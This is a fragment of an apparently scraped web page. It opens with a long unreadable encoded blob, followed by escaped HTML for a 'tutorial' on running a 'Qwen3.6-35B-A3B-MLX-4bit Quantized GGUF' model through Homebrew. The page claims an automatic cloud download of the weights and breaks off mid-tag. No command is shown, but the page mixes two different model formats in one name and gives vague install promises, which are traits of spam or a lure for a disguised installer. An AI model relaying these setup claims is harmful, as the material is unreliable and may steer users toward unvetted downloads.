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iPm1Uh6O7Hqvd6NT7umacCJzNOGeR9CtkZ0V4YzjWuOo8EWQd1TWQicTLYjMsKhYGROlrDK19dJeHcJZRxuqym3ecI0Hiy\/cI9Iqhg6Q5mta3XGlX9ihkGmQ04J27b39J2zDADPvSkkElc1393658Ufg2mcIJ+6ak4WIoA\/nhqjT5OI81XkxrIohqLRDyICgGqY1+AC+REusJobMZj4a3B8+qSRD8BokKB5ykxtoGYX99S7COQ\/Q4XcflzAGeI+LdJut6dBUm1JYcg+N+zL0h1zZt9nhrs66rl0i0SMj0wrJXzcUjv8CdtyhykcDT2L5uW0l36k+68pTDPP9n67\/kL\/VmZkVOaRgQ\/q3\/120dOeEYPqRNinnhmgnqP9Fz1N2849pk9IDCLMoCVQc+L9nqm2OrmFxhEs6E3baJd+gapcczeRpUuie5r9N6m5cU8TE0iLHuJiWbj8ut7LdrP1WPrVyFvySFmyO3ifY5VegMrYYe2i5Z5EpIC+cI78J\/c1qBAcbUiEk2UtqYJMAolq6ANYOQ+\/rK6p0awCEJEFteM7hGkVuB+AnelQQc2PctIcSCZkWrnI\/s3O+dD3+ZwiOiI1nqw7zpzt\/ki6Clg3pE5v4WDzjiQkATp+TAxidAawPII5uj8LrY6FxnRlNUHQkHzw35uZaYhpiU81cCniW1i5h\/1\/yIxDf9sj4PxDPM9fbSudNxfX0zFOFF2dIQUCpfUKpyQyEm5G5nw6izcMB+GKKhD\/ppFEDJgPXrSc+ouQjM9eYiRkawp+WTGm4a\/SmDTACA5leT7TW1o9COMX5nxMlXJ4UhmmZlhWbJW0KVI0FgHeVffg5kan44ceNW+uRXP+y32nAmj\/0LK3zJQFd7PJ2UnS6Yq6CAP\/j9u4EGsAI+zZxWqM6ED\/YPq6LvDscbCk7VpieS6LpnKwUBCvPG\/M9QBGLXsrlBLbTGBhYwxjADtOgPnMIXjPR2xX8hTS9OLx2yhI2ASC879QKpHgex9u\/xjjggbalY7VnH2GH3kuw7FheuWJshvM6giM9Ov3usYotprLfxHaHbPfyc6W61WYS1wVsm+6CmJ+znB5A60bVbD7gqNMofbwRVpjGnoCYrQezOyDaacyrBR1Lm3jc43NVGCrY3\/CkjTGb8ZFQbh122lu6tj6Knk1mO\/JdQty8QBA+OXpKpvaeChmY2VA2CT7B7vr9kKmT1YiQ0KP6vcumL3JhCP0jJHXOJ8Sj4RDzvKnxcZkDKW9QsJZU3\/gSJ2FVQfVEEbWRU4dQsbdFVSgY9Ed1wxZzRbmnU+5godyySL0XB1hqGS\/+74\/dWGWbde63ShoycsCT3EzvCKD4d6dLVUzoC6Eyy6HTrvNai7bpCll+LVNOjS3Py1Us+6D8rkSKb2jPjGlqOv+kXkqAawLUgzU1+x6LFcAGRG8MN+R+gWqV1vmmi4O9vmHbPh2oH3IxC0d4uZUD+JexOxFikqbJ8DRKJXkxshXK2r2znUmpvHN+MfdnWUpouQx8QBIAkWekiQ6PEy8oz+IB0TqVZ7LRGi8mn5ecP6Uvl3OB7ru3j5\/BiHjbW1+xFNCjCL1AWxzSxp0EAsyP7llbFD2EAF\/qw8pgS\/HDvwOUvbDoDrtFAu+xOI8Q81ixTNXHsfEz1wsD\/fX+LL\/FIlYgfCpCp7f8oz5N25vJlwluFkw9Rnpz0By6gnGHJ2mYKGmiWLreQyX1UfpffKmvyXihcglZcB7UroDBs1D+Sr1vfswsqQohUQQQRVcdsJF3Xc\/drpO5PxQuiKhSyMqV1a02pbmXKfVqIOkI55dLe7lp2YGjmS\/N3yU2CB2lRlLZ2hG2VvzIlFQIZ51VPPsXNzt5bdhm+M3tiVAhrkIyl8NFsAEBNouCp6Zq26ktLhqY45c0x58KUsRe3CGBcdpbIuoxCEA6Ooc6IARm4Y6BBJPBQjVNcGJdmj8SCCqnYmnooxNFzDGChwKnL4N6oaEhg88lg1cTgwKUHtfQcsNctUr1l6gR4Igmz6\/eIUhPcnxNmagxiNUCCHrNgCWMSlHgLM5L0k46ythOHYwdWo13UqWAHmXRUzPTKcPri8EypjchsDKXVw2CvkA5x09wypq7PIFwkQteJK5Z6hKUWVAqDy01zN1gBbjvhf9ozK3wtFtpL1T253ctiovGgrjx81rIDNj2J+OOjijimHtiOCBsVR5lRLUGn46FpaAfQJNmAMoU4OZTPDhraVHz8gl\/7g6BG1Lyx+Mz2q1L\/n1YR+NH6OxtavALH\/nelGMLJ56NFuyvjCLIS4BlYOsmAfgpqwWu4NhXqqlHdVL6k+i2o+vTxdAcGpO8DKG14SMXp433QI\/PmJYyPHG54foRbcoFT\/v2MSEUM0prmcIzCRbMyjjvbMqLuYfwRhVSNzT\/egelenflzedk6evxNHGa7NmOFtVCihYYn2NfyXhUZKwX0\/nspjH9wAt6opWp10ED8FAPhHWRSSEupV3rdNV2PCiU1cfsgQQLD54w30lEExk1t4mtTgLeis+nngYocX0qPIlVGgXvSFqVCJhMLN3uSRtK06gLfbYb9IGuSqXO\/3WmPctZTXuvT+7dalwJ5W1U1vS3n7hRKxGks47tJx\/FS+fXqGKK9VZ7zW5Vnhw+rEZRztTJ2dS\/7xX\/tQjGR38V0QEFEBtrfFa3b9Xnq389KmG042ijOPSFZPGPEKS1RWeWZiGWCAGXYlaJHKuRvsHRBXETdJkrwUln2Icu0IbDOtO0yfUF5o\/IWc3UAijm0bhcaC62kCtRPH56VUtjszO+Ui0Jchf\/rwkXiK+40UV+DQKxUQld1VMneaeZ\/Ox9VV0tOP8jjEw1HxHQncFaEk73cU0H7E3mVVB\/BfGrkzbALrXCHyXf0fF+K87HBP39kUU1jjGLsfq4dugeoWaYOVwGoYNphChIQc3cD2w+X0+m6npq3MhCmY1oDaYS1A9CakDKt3DNK2YdegYMDTtZI9MXlbZIjZylQq0E7O8u54oTrio\/J9v+FCDqm9DxV4zHIhkCVArLS14\/ACF5N+xh\/LuvTYuWr9esIhyFoBhuFEZoNR4p5KCb981bb\/vDEbP1gzXakiwiqjY31LVJGD+ovDtohUrUoADK6yPDlTCxvZfP2EFrnbMwYyzgFpBMfBA2n\/nddWc7fuljak9KJvP1vERelyshuqj81xWl5X0SJV7xnBzd2FP8IF6reZBAXwQJvDX2nbunQ0K9CS\/ul7RLd2MLe3HpdDOTL39KxCjwdcSGRSiF95IDkhe81J3p4N4bEjTlibk5EtBDEiQlHaMuLzwzkWb+EqabXsPFBpxNu68iru5NrlphMznYz2ZzsTZKlXeo23oVDe\/r+ULSqhujLmRxKyf5OYKIdaNAD6c8qtxLDPI0SYZNyPYS2OXwdNIdBeK+UeRGgt8NR5Dk6kDr0ZYvVpCIW1\/u5FHIONadGbxfmawrHz7GySRExViHERdESp\/Ex8JhCB2YdU3CrWXg3nGnrRSatdWLhn\/UBdsgQ18NzcvkjPkqkcXU1uAW2ZVw\/C0i6sr9DedeSoYurOxFqIHG3uancxXTNpZjkl7RQzFEk6Fak2arxd3HrWqrqlslLOYB1cE5Y0rES2E0X9SZ0XYouLQhUNtbvnV2tTtsnV93cCZwwkc4G731pkc7ZGYx2sr4AIAmIfs89omOrjhqOWZI6bGq2LB5CRVlPFZCG+D2reeno8s805g53TH0v8FrTqdfLi9FCQk4BsNtcb3NuQD4maHt3CL3xrhTP2pXn6RsE381WwVZPx4laTW\/F4zSlj8YMK\/oV8Y2KFrkD+o\/E2n5OnW9yVwXV4X9iICJ4n9YUXPVZR2H2seIOcU6Nyz2DP7iji7AY+9JLZbN4a2bxoH+A1mz4Y1ahOF7rzzG77i2X6hY9f\/VGFxor4m1iK71TRkTNsc8GzemDJNMmoXCxYKezaDeu7GeqN8AnoRCImtULv011L4H\/iFJbXs8UcegPvBt8yuwYgpsUEf3Ko+wwdN0zXSUUmE4yv\/zc5nC8RqMxFU+PgVUYyvJLIZIuJKzYj7yqOPNO94ABOlk0ZpWUKp3qpeXgZ4IZMp0OmcR5O4tiZqGqhn8vhWhAwz17boJxsvxE4HZB88cKU\/acS654Ojfb\/PgwchcDxmJQtpAxzOnt3pl6511oMKQ628nO4hkX6SLcrLNLUzKLrlpecy6Cf3M5du3POS4dBPiGx4MSHOpt03VV6UaY28pownDEoMna00\/6SqD050+X5nLNLekEZ2NqazOSdvF6CurszfHlFThINLg\/BYHe0vF\/sJLQdp5VE7I3Q7U80o2o7GxZLtocp\/bgVDKl0+nMYEGqL84VYru18u0I+7UR2w2I3xLuZcngXQQEgvdP9Zsk3S2PdAkFFuyCVuL7GfsdMj+vAxko1YnHmk3DZHO44K8cd\/8+iiTIsKEFUdDZjdd3DlYmX2haubxb3HMrsbgejxQXwnQFSi0XBK8ZHTFh5kfjuVagHXeETtZJxaZpaSDPVIXOIpa5E8RroUA\/5C03N+wVU0rHzxqXWqlK8sQDzqYhWrUfiZhshFzmodT53lDQRzMTNYlYSgbgW2OmG6H5ktTqqobBbsvk7mRxdaSltEHFCdH38OyCn9otsRkIMU2\/n2SgYKtN7qxXqEF9ZO0i6DYixPMSeHTeX3P+aVilyCAFuZapRxkLur76wezFKssoOASvkZpJgQ5QYuQrl1s8AE7YgWvnJlGpUo9v70TK75VWdNEzEyFUNA+Dz+F6\/YcJpC2hgW\/wTY1iwM7fn8xCSzfblf2gdXZmUtgME9R8eN5PVRuxvpTI5JjEbDLOvMH8eWnxyPRaEAzfyV7+nsdO9sw+YE78s7pNvlEV3BhB5Lt2kXrS7vU8MC9CUs1r+0SuSFvruSb8y0Senz3Ef\/JvRSne1ENJajA87MRK9tE87ZB+lbnnmoEYQasLaBdIgcxvRPBpGGhhklIBmxJGhtKQ+pLkGiH9rR9qXRwWp9qk+2NW1oNsyMjtrOyvHAhkGpCd7Y8fxlGRCDgwIroBY8\/MKtpgajz92SrtktniKRxaXDs2jBJ75H5i37fK9MyxXyD3ccFpMXDnW9VYV7xbO5Jw3weZ\/F2yBUVAln1PWN+mD6aJmdDJkZLEcLV5WCAxvtADd6qeIQetXUdPY\/yncdkLa1BcdNPoUbpHu+W83HVkcob4VBHN5rnhMZjiqq70+5QYJ0KTxVVs8KNwclQNn3nmd9\/mrKFbsSUiEmZJCkwli3lNYtqCq856Aqkt56wZgWl2BD57J+Bi4aWqxFb9EXLJgZUqcup77CYyfHPhBy0F7R9N03HRQly2+Wlsn3r3ecPM5PA0NAAtmAVMLNVYzVi6EULuEwZ4T8QBt7rU+rjIyn+TIQxSZ3O1BSTf7LO3XZkpT6g1AyixegQjDrz63oovZ1vHqBTYP\/Af184bfTZDP8A3KWvPvOZnkOW4raIMb+ZbQTzRqnVOSgnGgJnRTYDWHlyP28gKeLNKNnPfeAWzfDwEVdCcCXjbPRr1HN\/Vp4fFa57A++uSI5epG3TcGZgP974MljegCX0ZSOZmIRm5HYSj\/z\/sRGeZzWUqToZehHbWgcplDreaIYRp8wc4ANfVC1BhR0\/kKDksR+aemdOmnGiWfRmhTTRZxpRIamwOmnaX9W4Jhp7DkpdveS6j1MfFjDEb7J2FL3XUxW0a2WWH15Jx2M8XAXw94lztbYiK3Us9G2JK1SYhMQgN5jMBzskWhY5zcU\/3dcgTspZxp6n6dOt7NVnsXkF4DBKU0W6jEqazVJfHLQxE53FokjtB2DIJJ7QyDtVgsSstVlimIkCaKCQFMFK3+hnfg3uGMMxV9mwAELp9ESAyZeAsMRVlf1P2F0mTiLo7ly2Tj0jOwi\/2rTmumriuq54wzzjSsE7+GtBlNl5iktZRzCOFNJgtSojH+3r14NIHHLv9mWSVSf6py2wTQKqjzK6QXWbdwHpp+ALO6szhPQiexshmycTLRY7dOPrbkDsdb1h\/5xBqFS1x2QtrLjAPn9uD0aqkdPACg9Wf2Bwtb+e2W+O+W8Hoe+2JGT05jhiSK61efcwEEnbKePPg8z\/ztyLeROw9v2DX2w31SNal+LgX2J0qudZVEhlRwBqWL3jThYAbWFiC4F9ZPyPNAXrGsnPLDxBETLe96yFcb6hqiECZYti+axkh03Rui04BFLwB3aLQjx1mr5gZqu3i2TYEjlHyOyPofLhr4Qm7xICwhUE+uA27HoYjhK9hFkDCrfjp+BtUuUHwr\/c7shqHQg3Ap0IrrmrQir1PJf4LMq+5k+AKr7WUlyA8FInbtkWNc50\/lorh7\/\/hfAqGKeoKaygRaHMKV9pZev56IPx3tQe6Je9LArM\/GUgaPW+mr7FQ7yjCy3fYwlIJAMji\/eh4uavutAq47v\/sa\/w6OgpUvurvY6PSHe+XRPlYEW84Hbx8xNQFCc3467jepj2TsS0bLKjO+AoHZh6aRPd8jc2yzDfRkFt2+0AHQ36WWRKRoBFGoA4uMjeksPjQGagx01srtkw+7F5aKDfCX+iId+CACeJIWWscW4\/p8sAp\/Lvz2K29HQ+D9ZxZByIkKM1XkJYULmG+cBjFd12w2RJ2jCwtCwG3mvYQXitMWGKbDxBa27QzgDNuLVB3lrzQYTWqlQDlFG7WUwE7TmOlGb7j0eW49lBjc4LqeqaYR+byas1tItKDDYF353y8ya8DhI6khyAGD\/mDsGe9WHfYNDPX5C84GFe8kKosNzgXzxDhik2hb16DSZiGm6Lo76FNNlI9RaOaDLH21xwl7NdbikMYkjbuoKB8zAdTWOMHHfeudUjYrAQPbSnjYosGYAKA2WohUR6qWNdEqFmqbLiKYAgHaLBp4XZB+SdMmhz4wLIHXeOl2aKjFNj14B4yGRUaB5z8\/azWdvaaBmhOOHA43mE5iSYr1LJJ6RuDiNQyyFPa7BndXYC8WYidr204+235g6GuixbjSOwoLro83RwmEIeM9Db07meXM3JsAovysuFaH7UtFQfCQVPXuru6ec2jORXyw7TMkkaVDZrtqSBmZUJYRo3JcO7+kou5bdocSYDo+xlnMvvldOTmWMErNiDt0nMAiBkbU6ihoNYmF8YPxhVpr4rBIuOyCF8phNV8JaQ5heAd\/y7SWMYPiokWznHtgfAchpdI\/cYfOdIK4WgCDq9CciqGZ+GSRjyf1qqYWG9lMb03A1+uQp3CR7Ex3mrPMkMm8CoZwxHzghe3c\/Eb+hSKCKYT7qMQSRxNz\/4JTY1Fo8DJn0a4xSgbGaQkrQEJMVclVUiYPje0VmksJmRYWyKzzOFfLJQQitZ5xlLIt2YMrioy0QRifBQaxn2lqoJexywNKacnAFzmUl+qrjVI+myNeKxTwJwCuacdoDkpO8tCfOeLmWXQFtNwpNBv9JWq7SCGvNAAbT\/gah\/Mvi3zMIEMXzwbebGulxFawNX15qWegGaA3eSulf2zKEx0Jyx5XnHDR4PtnuozhNviIavH\/OevFlh48AYjLKbr3rMiJq2zKtqY+byh57X47fRnyFMcmYtwZYYw2GMixFT79bMtbjsP1AkM1+Yukvj26UIRCamIABSf5WtWH\/TTqnQqQpjUh94j9rKMk8SU3GVKPOML8hjqfeGfajw6+aEPNi4Aka\/taWxClLikreVYJmWZ5QubiiF2Z\/kK3hxLb+IXmkYDGqpDEb9UEdmGUMnJCPwzhXULXf\/4u0FSw+J37l\/CqGXDamWvDhpDK4d4mxcsqIXA8yVpDc9jwC0nQ0E73YbZdxp789uQ+y2CzP050OxaHyw1r9hcWG9n\/BGoWdooBMrsx3S\/zXabOhZnlSGfyosulqaFWHWGiw+z9nikKfN0qowCdB++85Qf11tmgIy7+KsxvwrxnWHL4UE5tApmUrEORZFigDIsspEsNtGwu8pkImlOtJwJAMpE3KgaD6\/fiP8+5BLIDEhJlqykG80trYzLzzsgmSVEUFtrnJnzRX13aKxXMBDbVx21Y\/OiiFZ927w+cmVZj5DU38Ni3GcGwTwyvP+51XFg\/4ZkHV2iWHZS2a2b3Z3Ble9zoWHUKEmJQEKMTuuDBb90EN6vxekNnXKvG1E+XSk\/glrW\/nWiiVMo\/351+A8hpucvhpyaaRIuP50ivhEk7bvC\/sOBx\/30jp901kfD6GMQsTH8iFWWWen4Ub96WOSsTbfPApPAfefZnT8jDDiYesFfRmFt9R0X90wis58GhW7apwC9YkQMkvMCWS0FMTafCUGN4ShDednKE2\/GWgexJ\/FU+9\/2kmEup4Ho3h29r2S9UfUaqo8VyCI2uIbAXBaTtVUsBKNCqzefnvAByxxBCwZ41GhPeGSfT3Z0K0kDxHKX1zFp0jVv0Cj0Ph0zkZXVAX+jrQZmeKK8ImpmGGNaY9GNyHckuUwYN1PQqB6X6SHeW31yZPY1b6t9k7Qd\/3B7HqpaQztreuaobXjNV9RKAN05vflNxUv0d1NXfHBFjpwktDpuZ62m6yAxbC\/U2VPCHSXE81kzCHFzXAa0qr+\/izhj5+zgdtAPOfjLp\/bWgE8A\/ZGfWWCxX+bNU8DOkhmb+f9JsfYwNEwkx4mXpDPUlYHfmuGz6pc\/I\/x1UB185lne89ht3s6ybxMUXJ0uP57l4wymuVcIWBO2KPef4Krx13F5GuUXkGLvODOU8OwhmLiCW\/USV6LT4Ev61Qj4VTDGGKH9g7USBEDTFrWvWVvk5Ze7tTUFypb1IAXgui4hWqchQCvjtn7dp0sMhudDyU6M\/qG5cA4U4kjPmXYq+kpSYX7jmBW3FqXXbfZ6zjndGU0UcnhjHk\/mS0PvXPqrKnRpbcp4dhW16AXMuAE4ZchcMTysmp1wD7FupsGQ2cPqZkKS8rmza\/ON2qLE23sXcEk7RysPXo1DUhXMEE9YJgRTS6S3AVjyNPj\/h3KPV27Ay6arA0NYefSZaRLjepCPaztGtRgketoj8j30kG7yrbUQKF+cVpDtEuZ4s53Nx4BVnqgRy7SNb1XzSb3+O\/mWpytb9qnhFtgp2u2KmAWolwNy1lrdvUi6U1x\/c+bBILqDvHng8F5+yoVqX+kTvoZ5jvWnupWyTZDJWDZB6FWmg9qWiWv5rW13WxmyiFlTSkrNzGCpU\/HROEqK3gAojsAuqJzVSL66sUtDpV+qykoQMoHmKgTZxlrWN81e+P3d\/4eB\/4MiUrzc\/aeLdRUE1\/ivFN91A7g\/ISnwPDwWE1X\/ybVU2eSSM0wyf3eGeP\/4bvxZ8+AB+zQDtUnV2\/8nXacarm0wmT5w3Bjan4lxNR4wEF8t7gBHabXugl9nIGcnaMvrnid3ZQ\/HGU+kHzPaHBetURlD4dJpBEmU6zfhJjH3X1xFLQ6KVsNbfZaYFjo82gZKzl3k+XPLchUfTE7\/MbrV+7YDQh+C3iqmOK31+SDQss0tWNv6qeKAnPsM\/iCcdjwnv3pM3xr6bZpW6CJEHJa9bABXjLKnodA1L+P5dQojmALJlI8b9zY9kiv6B7kVcoHHZysjBbgwBqslcMIY+h1X5ablRF5Wuq2VCYy3plYA96S644O8fvU0f3FsjhEp4YS6\/JJVZSyA2vCn0fB4x4ZGxCV03MW82+VKdZ8LzPoQuQHePOxOpVyGCsxVLVcn1pTOgWDCN9ywZG4g9iVxOi+qnSYOEkmJvhswokQtcqRZwBWrizIfRkqOYG8zcO7v10vx650fjsi\/PGaPlx3zL02t\/5Z80TtJlcUG1sIs\/gc22xNfLkIyajZ39+mjS0r50HOH0mUzKPquvHcPhHZA1+FLqeUmuKwK8dRFXC0xkngoYF7uq+Uhcsk3tJ3j0vOSevLYv9lPXQX0TfNsSpvfiQDydCwJXS1+4FVdimEOQ1j59vp08M1tTRe8AaQzDV0MydeeqrjX8MaJB5phEbUaFfkBXrzdpPnwP33w2iH54sfUV24VhipdbK++3nbmLihy6uE4cZaExN+1TkkvhRGh3qg4xZNS\/\/TSL90O892HaZcsf7O85fdVk3U81gKND1EaaxTaqGgYnMQfYl38axhKmjSLb3O+7NB4RcDTt6qYDVxJUpaNaE1TLLzm4VqKSsIZ0nKSNaWA1ns7htjqBIt9HqnX9i9r8\/liBuGgUjcxlh00yhn+BlSdZwE5rTpxmRDYts8WNTbpHTrfSVIlYQTVrbzPseFVGT\/zMiPrx0J0TNK3nZ8O72\/4M3H3WA0uuK+iDAeD\/8s3\/+e143ZTdrWV3T3aFfEYSQ5RC67Q0vItzYpuDCe2cSG5S9PXIdIpDyZbj4v1rZpOOUdNdM3mgd\/Fo02k\/DnBJtDbYz\/fxWQD0DSQFS\/PMyQ0e9oSw9NWUwr3yvETp8\/doGWIteMBXyxN3zmxyqCnk4frc2j7tdTuSzUiSrbGYI4jxsu6FJTiWioth6xQAqGYnhrym0yR7pszMibE9VdZr6rT4fDjSuvfj5KjALENaS4\/YGKrZfxiinAqsu+fTfvmMc4b4uE9xdrQ21c5uY\/57qE87Kns1X1og25TUFoJzqOILJsqu6rV6\/ErkQHABakbsyhYUFty8nCb0SDRbERj93NX7badRemSBgR4vSdjKqW8wdFYfrfZa0SN+VjFa8EMejnGQIY+WvlvQJ5uln29FPMDNzqDts2G333+oJF8eqn121oJpbTZgV6YSWq32ts+pZA9Pc0F2q+YikT1y0n8VFxCO3qRf8\/M2ePniaLeZoUu\/UPDdCKwiT0ZZ4HVvYyc487X1s3GBJ1xw2JDLBJxgR4jsUwJz9VwaJ0lAe7P7re5NYqRnaWhOypPG7ZSGKB2APUyCGDvgwbW0IUjIcA4KR8ZceesyY4Q6IitjXKa20lIyJdQk4KFR3hhh5RX60DrucXiu0L3XaR\/czFD32Z\/CSxYhUR7wE5V9FD6v8d6hfjSWeiH11j01Hj0JkayksBflUJNiZxIdGY4AN385YlsLr2wPN8LVIRUnAYbr+F1k9rjVIRZMlgXs8+wvsIrEI2UkVKsXaTZ3sYkh5ybPgfZFN0epxp7reJYyWjWfw9\/38+QuP\/v32VImW\/3aI9\/ZGsTx4gIh1U39Dqybkl+l5oDWFDBeptv+x5TwO3gdFvQASzysXcPwAwgMGwC5stITKcruKasn3q1StJy2XwcDxTMms+kRSoX+UX+wBztUqx0tMT9K1z9I0yxwxRpQAxU+v8xh9v8+jz4\/rcY7EzRBaKSlxOmvRCufUSJyoRtRsD8uSpLyfaTfafyEEk8AVLVdxYks+vqB6K9hSfO3sef4qKjzk\/soorMzkI1aZXblc1I6IguP5eoV0PZC1iK\/MRwQph+IIp8F54jKP1tF4gSfN\/BIX5AGvEHWJ9QX2Eqpiz7xB8kudHn1iDWQnayiTtj4LdYl0WUp7WDYbfA7ZJlLtsDd0vcBZ\/EdSfD9m+5ieKaFml+JZJ6XL9GZJCnKTE3FdkyWwcetdijlG7zLpvF797\/S3Iwl+UI9iIPbmxP3euD05LLYbDuMAteIZobJV3cQgagb0o3zUXO6OxuvXKXVINrpgWjP\/D13nCfjLnB4keLVRrqtESm1dX\/nkoOidWynxEERFZuYz0xpc84LZmX9YWplGKosBZBFmkqJ61MkPOrpAdKhrrJ+4nQYzl\/MxxPsaujU10iJ\/GYgvCaQSxL3gnkjIBgqSyhdW8hw77qYHDM8MYBs8sfOSyQZAeObJHym5V4EbGN3BDXey0cAQ7tI0xorxlyGtzqaTaI3AdWIxXRrkoLxnTNPey3BotViDT6BAFqfUJToMMXQGPy8bCHCrJiKKbJPEpOg0PiAUBDV\/FgKin6+KQOon7CGhQphMLomkJhTFgsoatUavBrmIP5+qkQJyg6n\/5y26\/s84JLqV72rQU+m7k4saaKjFYkPYJhNVOBEOu8cvcog0h1YBeh0szlzJgm9rtH9s0ZUi81TQcvM5VxeHLrEP+O1xsixwQQC6rucImrlqg\/pIqqJxtltcv7bUOVw1R45FAdEwDk6Q0+SnnMhcOq+3OHoFiT\/DQjHHPU0EUaP20M+DOAUS8baarweD+TL\/fYqpeY3b0p5My6yz4gVQ+hHB9EiBzyaq+JxE2R8q3RN+rftarGX5KBLvJMFTA\/ghTnHIqAlMrS1nIM4UfWv1OLyGcwRqLDTMor9EGFJ2TAG+5CxM+SrGwAhwHGG\/x91CXYje0XuWOyQV9ftosiHurofLeqOrzlP7hq05aPxDoH1Hsq0canKsDiFPgbCxkkT\/gzBGzrjJDoVLicyPJfghR4\/euZCEV2zP\/q1cmDoeoum+Lci10FRk4VPGIutT\/0iV+Ua0KJYsAyhxfYVA35o4r2JLYI+P4HkkhXTU3DXebYPQ8qYFX6V6\/ewHm3TFMlZZxRIFLGWEg57mgBOxOJku2voG6eApFX\/lpRrypCzm+AbQlfRpa2Rjh9VKDlroKEQL0ehbk7DgjWmEb+SaadwtfFIdnIjrYB5Og46oiSKy8zY7A+5axWvJ\/bvy59wGP8SU7rSbwySZhISXT7mxMAdrbJ7xX1BGqyNMvWuthaNfyNe\/t8O1qCeYekutK5QH1yqRYJXY3V9VCtc+J0f4U8RmhpGvMs2hfYUBtfEdmepnT\/4h1S4ZjePpEfyXcekYuR55nNf+MOJqnw8Ez0iQeBSrGspchBmkq0F4uUyzyeH8kI15R5XqWG4793WSg7akn\/dLBS2LlhraPG7kNKlRQiMYFUkDUS6yakqI6smbeLuEUK7+FubZE9nKaCEW7Z2oDNckZPm5jsutGEZtoOoDyhCGtnUgbIJqi67A+2OxNptYz\/IqG\/VxY9ECIflpgugVdYn6zN+pUc2g7i0+DuCtLPnbmayGdGtxyShZVZSBjfuTLNgSO80KhdVI6YaXpauP\/B\/BorOV8FDougC6mK5\/zz6mIXHENOOQJ1RWUJ2MhKblDpD7XQTSlLw7vQrAZQoPP6Oh7Dhq81dWh6LHw1\/nMWdN7UD8fldpWNSVW4FAdRvysQ2H2t25u5o0QrtKjuAau\/GUa2s2wm6mLKnF0C6vFTN6ZAqaca\/Z\/COBAzpmYhz37TP+grE7pMceiIKq5B\/L8a+TvKPzc7El9d3h1B3hYEDPfUS24hmJt1NSHSXV9N1\/tkg22SCY8EsLqTriNVKpHV2muY8TKg5OthsGvM35V6Jhs+ZvtoRjLITA8CTr8AJgW6jvi4fbrRVWCPxS6EVPP0leDiLSSZmWkrQL6\/aOjVcMQPWqIPJHGVVVTALbnr5uwAURogfVqYOy9\/e0JxPQHjOJa9k3u85i10XvXeHHHsua6NAdjTpvyq8XEMKLtDTiARRti1bU7KOJKmybJYvTniqfLWcbpemLi1yPbyvOfJx9EA3Q84MnJV4p+jaF6xHFxeZAiEnYglQRcRww9DvioZeHdCjn9xph9ORjS1OpaZ3tFzLgPsJErCW+bl3yNsj1qYgvUHb7hhnaMkfajzhrs88uvIRwAP0uou7prXKFlYDz2iO2OQHWw08lC7cNipv\/pe9i2d\/e3pzJzlA5FL9ss0VltAMxzqnrNPWE3UaH24AJgK463r\/\/9i2X\/UKiq4ZXPGw3Z24PpGu1kcFnRPhzBcjJkTYIb2EIjldhfH6KPPflgFIRHtbm3LxlocT3Zz\/A+\/hnhceRVa0Rvcr7crCh2prixCPNEu1rbTvq\/OtNY0hk\/RKgsvwL4onS6DkwHD3oiMroGvkxWfD+2MHvqYGJE7Is3hz3\/+Zpc6Zq9\/NOEUN9WADK0+1GmNs6GYIWipdivQAPLB\/Z3Un9\/2rYsY0DJZsaWAerHXM3Iqh7pgf+g9vdEGLxVSwwcoVu8yM7uXvghinGIAxZ6fOYfjkhmQwp+j\/smu4rIVUn+VI2mc6qpW\/VO7Vz\/Sr7+QkCLiQUgPdA3OASJ3eISkcCTK6q99FXan7obypuVPxHK2P3hbtd9D7a92V5DYDzs7YZ8jX1NcUXbkS0YeRlctxHvTSVjv8Vm7bNDiZqhCIOTWeOLYIFU6VdDl6Be+XE3QdFGIIs7+WyvUpwuwjwTL1nY\/Z0\/ZM1Pd6WaWbIsmHw+cYHpWabEVAWCO6Io97uUreyeGTZxM47jyi4\/83HZqIrnU7INrFwcS7AF+7iWJWpHlr6i\/cOBkMcAKQ6njiJxpur7Ov8ZZMlfX03m0rdUY67az7D\/nEWPUnjmLmgFl2D7iCZuP4AV7Cg4PQvF4yfKXdBPUYENTtUUsAAsp50jrB8BiCY+IRlEfpjYQAF5ptaJwgZPxOol\/SBIVH2A\/l51H1kthuXwfznC0o5xw7+i2LREZ\/Xl2j9iWOuFHPuS\/8mv1jsmacukLl5x0+dSZhKjaNYXJoR8mcL0gp7T61fTnbU7MBcbXfER9EL2KAucEB3MTj3dCMq+\/wCVnq2xCPqZLG7ZlTRCZ6Xm6+1TWPVwyeaXAvlonNWwQIUH\/+YqCfJHplYYO5Qdk59UiiAOdVUhaGuG5RkRkOOPUZK1DyqzHITvv37voeNBat3aWdZHskrEpApOSSGJ68g\/WxwywID232pzTO9YDod5\/vE4dDk6Jeh5Ob14qeSJHZ56MuYZatP0pM3IoYevBVIY1DXo49aATIvNfJlbHMpDobhVUnladg3c5INfIvlYb7GTm7yByI5OYmYI54UB7ZcQetWaw7\/Kq+rL3+uZSBnQ2eQDW94GHCy8Atn6tkVtEbxpJFqunRCsjceqn9dmJKNUYPubIis0IGMJk\/L0ulGeFpF\/JzR8rWTrtpqYp0Sp\/5rWD75RZfieFFjJr5TXto3YQrwJPXx66i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alt=\"Qwen3.6-35B-A3B-MLX-4bit Quantized GGUF 2026\/2027 Tutorial\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p><b>Homebrew<\/b> offers the <i>quickest path<\/i> to setting up this model locally.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The system automatically triggers a cloud download for all heavy weights.<\/i><\/p>\n<p> <\/p>\n<p>The initial setup handles the heavy lifting, <b>fine-tuning the environment for your device<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C2C2C;font-family:'SF Mono';\">\ud83d\udcce HASH: 1ed93015878ef226af5f18217b4d7b93 | <span>Updated:<\/span> 2026-06-25<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" 